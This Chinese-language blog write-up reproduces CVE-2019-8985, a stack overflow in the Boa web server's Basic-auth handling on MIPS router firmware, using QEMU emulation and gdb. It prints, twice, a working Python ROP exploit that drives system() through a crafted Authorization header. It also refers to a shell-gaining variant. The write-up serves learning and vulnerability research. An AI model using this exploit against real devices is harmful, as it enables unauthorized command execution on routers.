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漏洞

CVE–2019–8985漏洞复现

2024-09-20 18:38:27

1、漏洞描述

由相关信息得到漏洞点存在于/bin/boa程序中的user_ok函数，sprintf 的时候对v10造成了溢出而v10的buf还特别小通过逆向可以知道这是个认证函数由user_name:user_password组成的键值对形式和本地的文件进行认证，具体可自行查看/bin/boa函数的逆向。

2、前期处理

（1）固件提取

binwalk -Me fw.bin

提取之前需要安装sasquatch（如果是用源码安装的话，应该没有这样的问题），不然会提取失败，squashfs-root文件夹为空。

（2）查看相关架构

find -name busybox 
file ./squashfs-root/bin/busybox

该架构为mips架构，32位大端序。

（3）用户级模拟

把qemu-mips-static文件复制到当前目录，以便于更好处理。

cp (which qemu-mips-static) .

把当前目录当做根目录，执行boa文件，发现有相关的报错，缺少相关的设备文件，使用mknod进行创建。

sudo chroot . ./qemu-mips-static /bin/boa --help

创建文件解决报错后，并查看相关用法，可以看到，要传入两个文件，一个是boa path，另一个是conf path。boa启动命令一定是在配置文件或者开机项作为httpd服务启动，也就是说boa文件件会在其他文件中被使用，所以只需要grep搜索boa字符即可，这样就能够查找是相关文件中是如何使用boa文件的。

sudo mknod -m 666 ./dev/null c 1 3

grep -r 'boa ' .，查看相应的字段，发现如下如下用法，sudo chroot . ./qemu-mips-static /bin/boa -p /web -f /etc/boa.conf执行，发生报错“Can't create PID file!”。

将boa文件放入到32位ida中，shift + F12 查看字符串 “Can't create PID file!”，对该字符串进行交叉引用，v14 = fopen(off_4590B0, "w");该句决定着程序执行的成功还是识别，查看off_4590B0，内容如下

.rodata:00415560 2F 76 61 72 2F 72 75 6E 2F 77+aVarRunWebsPid:.ascii "/var/run/webs.pid"<0>

发现是/var/run/webs.pid无法创建，没有run文件夹。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // $s1
  int v7; // $a0
  int v8; // $v1
  FILE *v9; // $v0
  FILE *v10; // $s0
  int v11; // $v0
  FILE *v12; // $a0
  __pid_t v13; // $v0
  FILE *v14; // $s0
  size_t v15; // $v0
  int v16; // $s0
  char v17[24]; // [sp+20h] [-20h] BYREF
  __pid_t pid; // [sp+38h] [-8h] BYREF

  umask(0x3Fu);
  time(&current_time);
  tzset();
  v5 = open("/dev/null", 0);
  if ( v5 == -1 )
    log_error_mesg_fatal("boa.c", 228, "main", "can't open /dev/null");
  if ( dup2(0, 50) == -1 )
    log_error_mesg_fatal("boa.c", 232, "main", "can't dup2 /dev/null to STDIN_FILENO");
  close(v5);
  if ( argc >= 5 )
  {
LABEL_13:
    v7 = argc;
    while ( 1 )
    {
      v8 = getopt(v7, (char *const *)argv, "h?p:f:");
      if ( v8 == -1 )
        break;
      if ( v8 == 102 )
      {
        strcpy(boa_file_path, optarg);
        read_config_files(optarg);
        v7 = argc;
      }
      else
      {
        if ( v8 != 112 )
        {
          sub_403CB4(*argv);
          goto LABEL_13;
        }
        sub_40496C(optarg);
        v7 = argc;
      }
    }
    init_signals();
    v9 = fopen(off_4590B0, "r");
    v10 = v9;
    if ( v9 )
    {
      fgets(v17, 20, v9);
      v11 = sscanf(v17, "%d", &pid);
      v12 = v10;
      if ( v11 )
      {
        if ( pid >= 2 )
          kill(pid, 15);
        v12 = v10;
      }
      fclose(v12);
    }
    v13 = getpid();
    sprintf(v17, "%d\n", v13);
    v14 = fopen(off_4590B0, "w");
    if ( v14 )
    {
      v15 = strlen(v17);
      fwrite(v17, v15, 1u, v14);
      fclose(v14);
      v16 = sub_4042E0();
      build_needs_escape();
      fprintf(stderr, "Starting Protocol Module: %-32s ... OK\n", "HTTP Server");
      status = 0;
      dword_459D18 = 0;
      start_time = current_time;
      loop(v16);
    }
    fprintf(stderr, "%s:%s:%d;Can't create PID file!\n", "boa.c", "main", 291);
    return -1;
  }
  else
  {
    sub_403CB4(*argv);
    return 0;
  }
}

mkdir var/run创建相关文件夹，创建完之后在试一下，又发生报错，意思是说相关端口已经被占用，而boa文件常用的端口是80，用sudo lsof -i :80查找80端口的进程，并kill掉，之后重新运行，发现HTTP Server启动成功。

这个问题不是每个人都会遇到的，笔者第一次执行的时候就没有这样的问题。

运行成功之后，用wget发送一个poc验证一下，服务端出现get password error!问题，老样子，丢到ida中查看相关字符。

通过ida进行定位，查看两个函数，发现是打开"/tmp/passwd"文件失败，直接将本机的文件复制过去，新建也是可以的，但为了防止格式问题，直接用本机的更为妥当，如果没用tmp文件夹，直接创建即可。

int __fastcall user_auth(const char *a1)
{
  int v2; // $a0
  char *v3; // $v0
  int v4; // $v0
  char v6[64]; // [sp+20h] [-40h] BYREF

  memset(v6, 0, sizeof(v6));
  if ( get_password(64) >= 0 )
  {
    v2 = 1;
    if ( byte_4596D0[0] != 58 )
    {
      v2 = 0;
      if ( a1 )
      {
        if ( !strstr(a1, "Basic") )
          return 0;
        sub_41489C(a1 + 6, authout, 128);
        v3 = strchr(authout, 58);
        *v3 = 0;
        v4 = user_ok(authout, v3 + 1);
        v2 = 1;
        if ( !v4 )
          return 0;
      }
    }
  }
  else
  {
    fprintf(stderr, "%s:%s:%d;get password error!\n", "htauth.c", "user_auth", 181);
    return 1;
  }
  return v2;
}

int __fastcall get_password(int a1)
{
  FILE *v2; // $s1
  int result; // $v0
  int v4; // $s0
  int v5; // $s2
  int v6; // $s3
  char v7[8]; // [sp+18h] [-8h] BYREF

  memset(byte_4596D0, 0, sizeof(byte_4596D0));
  v2 = fopen("/tmp/passwd", "r+");
  result = -1;
  if ( v2 )
  {
    v4 = 0;
    v5 = 0;
    v6 = 0;
    while ( fread(v7, 1u, 1u, v2) )
    {
      if ( v4 >= a1 || v7[0] == 13 || v7[0] == 10 )
      {
        byte_4596D0[64 * v5 + v4++] = 0;
        if ( !v6 )
        {
          ++v5;
          v4 = 0;
          v6 = 1;
          if ( v5 > 0 )
            break;
        }
      }
      else
      {
        byte_4596D0[64 * v5 + v4++] = v7[0];
        v6 = 0;
      }
    }
    fclose(v2);
    return 0;
  }
  return result;
}

cp /etc/passwd ./tmp，这里要注意一下，原本的tmp是对本机的软连接，先删除再创建

重新把poc打过去，发现服务端发生崩溃

下面这个是未崩溃的样子，以做对比

2、漏洞利用

（1）系统级模拟&gdbserver远程调试

简单的用户级模拟不能达到真实场景的需求，于是使用qemu的系统级模拟功能，模拟 32位的大端mips架构,mips表示大端，mipsel表示小端。

这边有一个自动化模拟的项目，省去了一些麻烦，有兴趣的可以试一试。

https://github.com/glkfc/AIOTS

下载相关内核（最好创建一个文件夹mips），这里的版本用vmlinux-3.2.0-4-4kc-malta最好，不然可能会导致gdbserver连接失败。

wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2

本机创建网桥和接口，并将接口接到网桥上，以便于传输文件系统

sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0

启动虚拟机，在内核文件的位置打开terminal，执行以下命令，密码（root:root）

在启动虚拟机命令不同的时候，其qemu模拟的设备也不同，可能会导致网卡eth1变为eth0等问题，如果遇到此类问题，可以考虑重新配置虚拟机。

sudo qemu-system-mips \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

配置虚拟机ip

ifconfig eth0 192.168.153.2/24 up

传输文件系统
此操作在本机上进行，而不是在qemu虚拟机中，传输前可以先打包再上传，这样可能会稳妥一些。

scp -r -O -oHostKeyAlgorithms=+ssh-rsa ./squashfs-root root@192.168.153.2:/root

加-O -oHostKeyAlgorithms=+ssh-rsa是为了防止一些版本问题

在虚拟机中挂载dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
cd squashfs-root/
chroot . sh

去除地址随机化

echo 0 > /proc/sys/kernel/randomize_va_space

相关操作截图
设置gdb调试模式，创建一个文件，在文件内部写入如下命令

set arch mips
set endian big
b *0x4146f4
target remote 192.168.153.2:4444

启动gdb调试，其中gdbserver-7.12-mips-be可以到github上找编译好的

gdb-multiarch ./bin/boa -p ./web/ -f ./etc/boa.conf -x inint  #本机执行
gdb-static/gdbserver-7.12-mips-be :4444 /bin/boa -p /web -f /etc/boa.conf  #虚拟机执行

这样就可以进行gdb的调试了

（2）漏洞分析

先给出poc

import socket
from pwn import *
import struct
import base64

libc 	= 0x77f2e000 
libgcc 	= 0x77ee2000
gadget 	= 0x0000ABD0 + libgcc
system	= 0x0002AC90 + libc
MAXSZ	= 1024
cmd		= b"FUCK" * 50 # see how long our cmd can be
#cmd		= b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
	#print(f"[+] gadget is {hex(gadget)}")
	#print(f"[+] system is {hex(system)}")
	payload  = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
	payload += p32(system)					# s3 <- esp + 0x0c
	payload += b'AAAA'						# s4 
	payload += p32(gadget) 					# ra <- esp + 0x14
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += cmd  						# 	 <- esp + 0x30

	header   = b'GET / HTTP/1.1\r\n'
	# header  += b'Host: 127.0.0.1:80\r\n'
	header  += b'Host: 192.168.153.2:80\r\n'
	header  += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
	header  += b'User-Agent: Real UserAgent\r\n\r\n'


	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	iport = ("192.168.153.2" ,80)
	s.connect(iport)
	s.send(header)
	msg = s.recv(MAXSZ)
	#print("[+] Message is %s" %(msg))
        print "[+]"
        print msg
	s.close()

if __name__ == '__main__':
	exp()

给出一下示意图

为了构造ROP，在相关的链接库中寻找gadget，符合要求的如下

system函数执行命令的第一个参数是传递给a0的，所以找到的能够给a0赋值的gadget，并且最后能够调到system函数的地址中去。

0x0000ABD0  |  addiu a0,sp,0x20+var_8                            |  jalr  $s3

libgcc中的该语句符合条件,该语句会将sp中向下偏移sp+0x20-8=sp+0x18的值赋值给a0寄存器，所以只要在sp+0x28处放上cmd命令即可（注意mpis是多级指令流水线，也就是说语句会在return之后执行，即栈的恢复会在跳转之后执行，所以这里的sp是恢复过后的sp），执行完之后，程序会更s3寄存器中的地址进行跳转，所以s3中应该存放system的地址。

随后通过gdb远程调试确定能够执行的cmd命令的长度，在gdb连接成功之后按下c，程序会执行，从这里也可以看出，boa程序加载了libc、libgcc库，之后通过poc进行攻击，查看栈。

通过 x/64xw $sp 查看栈的情况，可以看出cmd的长度最多是17。

（3）漏洞利用

将poc的cmd命令改变一下，就变成了exp

import socket
from pwn import *
import struct
import base64

libc 	= 0x77f2e000 
libgcc 	= 0x77ee2000
gadget 	= 0x0000ABD0 + libgcc
system	= 0x0002AC90 + libc
MAXSZ	= 1024
#cmd		= b"FUCK" * 50 # see how long our cmd can be
cmd		= b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
	#print(f"[+] gadget is {hex(gadget)}")
	#print(f"[+] system is {hex(system)}")
	payload  = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
	payload += p32(system)					# s3 <- esp + 0x0c
	payload += b'AAAA'						# s4 
	payload += p32(gadget) 					# ra <- esp + 0x14
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += cmd  						# 	 <- esp + 0x30

	header   = b'GET / HTTP/1.1\r\n'
	# header  += b'Host: 127.0.0.1:80\r\n'
	header  += b'Host: 192.168.153.2:80\r\n'
	header  += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
	header  += b'User-Agent: Real UserAgent\r\n\r\n'


	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	iport = ("192.168.153.2" ,80)
	s.connect(iport)
	s.send(header)
	msg = s.recv(MAXSZ)
	#print("[+] Message is %s" %(msg))
        print "[+]"
        print msg
	s.close()

if __name__ == '__main__':
	exp()

攻击效果如下

3、后记

根据https://tttang.com/archive/1672/#toc__3文章师傅的方法，通过四次rop可以达到getshell的目的，该利用的最根本的要求是控制a0的值，因为a0的值是system执行的参数，而a0的值是通过sp的指针的偏移来获取的，所以如何布局栈是关键，我们必须要让cmd的命令尽可能的靠近sp，即返回地址，从而扩大溢出范围（24+17=41）。对于新手还是挺难的，但四次rop的方法有个问题就是必须执行两次exp，每一次的执行都需要使boa的服务挂掉，在实际的过程中大概率会被发现。

下面是本文用到的一些小知识

（1）GDB如何查看一段内存

在使用GDB调试程序时，查看一段内存的内容是一项常用的操作，可以使用x命令（代表examine）来查看内存中的内容。这个命令允许你以多种格式和单位查看内存。基本语法如下：

x /nfu 地址

n是你想要查看的元素数量。
f是显示格式，例如x表示十六进制，d表示十进制，u表示无符号十进制，t表示二进制，a表示地址，i表示机器指令等。
u是单位大小，例如b表示字节，h表示半字（2字节），w表示字（4字节），g表示双字（8字节）。
地址是你想要查看的内存地址。

例如，如果你想以十六进制格式查看位于0x8049000地址开始的32个字节，你可以使用以下命令：

x /32xb 0x8049000

这里，32xb指“查看32个字节（byte），并以十六进制（x）格式显示”。

（2）gef调试使用方法

gef工具使用：gdb exhanced features(GEF)工具的使用 - 寻梦99 - 博客园

telescope(显微镜)命令观察当前栈，或者pc位置的代码信息。
x/20 $sp查看栈的情况，长度为20
telescope $sp -l 20以更美观的方式查看

（3）jalr指令

MIPS架构中的jalr指令同样是一种汇编指令，全称为"Jump And Link Register"。与jal指令类似，jalr指令也用于实现函数（或过程）的调用，但它提供了更为灵活的跳转方式。具体来说，jalr指令的作用也有两个：

将当前程序计数器（PC）的地址（即当前指令的下一条指令的地址）保存到寄存器$ra（返回地址寄存器，寄存器号31）中，或者是指定的其他寄存器中。这样做是为了在函数（或过程）执行完后能够知道从哪里返回。
跳转到由指定寄存器中保存的地址执行代码，而不是jal指令中直接指定的地址。这意味着跳转目标地址在执行前是可以通过程序计算和修改的。

jalr指令增加了程序的灵活性，使得可以实现基于计算结果的动态函数调用，例如，通过函数指针的调用在C语言中。这种指令在实现虚函数、回调函数或是操作系统的调度功能时特别有用。

（3）jal命令

MIPS架构中的jal命令是一种汇编指令，全称为"Jump And Link"。这条指令用于实现函数（或过程）的调用，如下：

将当前的程序计数器（PC）的地址（即当前指令的下一条指令的地址）保存到寄存器$ra（返回地址寄存器，寄存器号31）中。这样做是为了在函数（或过程）执行完后能够知道从哪里返回。
跳转到指定的地址执行代码。这个地址是jal指令后面跟随的目标地址，即开始执行函数（或过程）的地址。

通过这种方式，jal指令不仅实现了程序的跳转，还保存了返回点，以便函数执行完毕后能够返回到调用它的地方继续执行。这是实现高级语言中函数调用和返回的基础。

（5）如何调用system函数

在 MIPS 架构中，调用 system函数（或其他 C 库函数）通常遵循 MIPS 的标准调用约定。这包括如何传递参数给函数。system函数接受一个指向字符串的指针作为其参数，该字符串包含要执行的命令。根据 MIPS 的调用约定，函数的参数是通过寄存器传递的，具体到 system函数，其参数（命令字符串的地址）会被放在 $a0寄存器中。以下是调用 system函数时参数传递的一般步骤：

准备命令字符串：首先，你需要准备好要执行的命令字符串。这可以通过将字符串存储在程序的数据段中来实现。
加载参数地址：使用 la伪指令将命令字符串的地址加载到 $a0寄存器中。la指令会解析为加载命令字符串地址的一系列指令。
调用 system函数：使用 jal指令跳转到 system函数的地址并保存返回地址在 $ra寄存器中。jal指令导致程序的执行流跳转到 system函数，并在函数执行完毕后返回。

这里是一个简单的例子，演示了如何在 MIPS 程序中调用 system函数来执行一个命令：

.data
command: .asciiz "ls"  # 要执行的命令字符串

.text
.globl main
main:
    la $a0, command   # 将命令字符串的地址加载到 $a0
    jal system        # 调用 system 函数执行命令
    # 函数返回后的处理
    jr $ra            # 返回到调用者

（6）mips架构的指令流水线

在 MIPS 架构中，jr指令用于从指定寄存器跳转到一个地址。当执行到 jr指令时，控制权会被传递到该寄存器指定的地址，通常是返回到函数调用的位置。但是，如果在 jr指令后面紧跟着另一条指令，比如 addiu $sp, $sp, 0x78，这条指令的执行与指令流水线的行为有关。

MIPS 使用一个分阶段的指令流水线，通常包含五个阶段：取指（IF）、译码（ID）、执行（EX）、访存（MEM）、回写（WB）。当 jr指令在执行阶段（EX）确定跳转目标时，流水线中的下一条指令（在这种情况下是 addiu $sp, $sp, 0x78）已经在取指（IF）阶段了。因此，即使 jr指令触发了跳转，紧接着 jr指令的 addiu通常会被执行，这种现象称为“延迟槽”。

在 MIPS 架构中，延迟槽是一种硬件特性，旨在提高流水线的效率。编译器或程序员必须确保在延迟槽中放置一条有效的指令，或者如果不需要执行任何操作，则可以放置一个无操作（NOP）指令。

所以，如果 jr $ra后面紧跟 addiu $sp, $sp, 0x78，在大多数 MIPS 实现中，即便跳转发生，addiu指令仍然会被执行。这通常用于优化代码，如在返回前调整堆栈指针，但需要仔细编写以避免逻辑错误。

（7）/bin/boa文件一般是用来干嘛的

/bin/boa通常指的是Boa服务器的可执行文件。Boa是一种小巧、高效的Web服务器，专门设计用于嵌入式系统和轻量级应用。这意味着它主要用于那些资源有限的环境，比如路由器、智能家居设备以及一些老旧的服务器上，提供Web服务功能。由于其占用资源少，启动快速的特点，Boa适用于需要快速响应且不需要复杂Web应用支持的场合。

Boa服务器支持基本的Web服务功能，包括静态内容的服务、CGI（公共网关接口）脚本的执行等，但可能不支持某些高级功能，如SSL加密、复杂的身份验证机制等，这些功能在更为复杂和资源要求更高的Web服务器软件，如Apache、Nginx中较为常见。

在操作系统中，/bin目录通常用于存放重要的可执行文件，这些文件对于系统用户和系统操作至关重要。因此，/bin/boa位置表明Boa服务器是作为系统级应用安装的，可由系统中的任何用户运行。

总之，如果你在系统上看到/bin/boa，这意味着该系统装有Boa Web服务器，可能用于提供轻量级的Web服务。

4、RFERENCE

复现的相关文章：https://tttang.com/archive/1672/#toc__3
IOT基础知识（强烈推荐）：https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide
MIPS 架构栈溢出：https://0x43434343.com/2018/02/01/201802011032/
MIPS栈溢出初探：https://bbs.kanxue.com/thread-262947.htm
MIPS栈溢出入门：https://erosjohn.github.io/2020/07/16/MIPS%E5%9F%BA%E7%A1%80%E5%8F%8A%E6%A0%88%E6%BA%A2%E5%87%BA%E5%85%A5%E9%97%A8%EF%BC%88%E4%B8%80%EF%BC%89/
gdbserver调试：https://xuanxuanblingbling.github.io/ctf/pwn/2020/08/24/gdb/

# 漏洞 # 漏洞分析 # 物联网Iot # IoT安全 # 漏洞复现及分析

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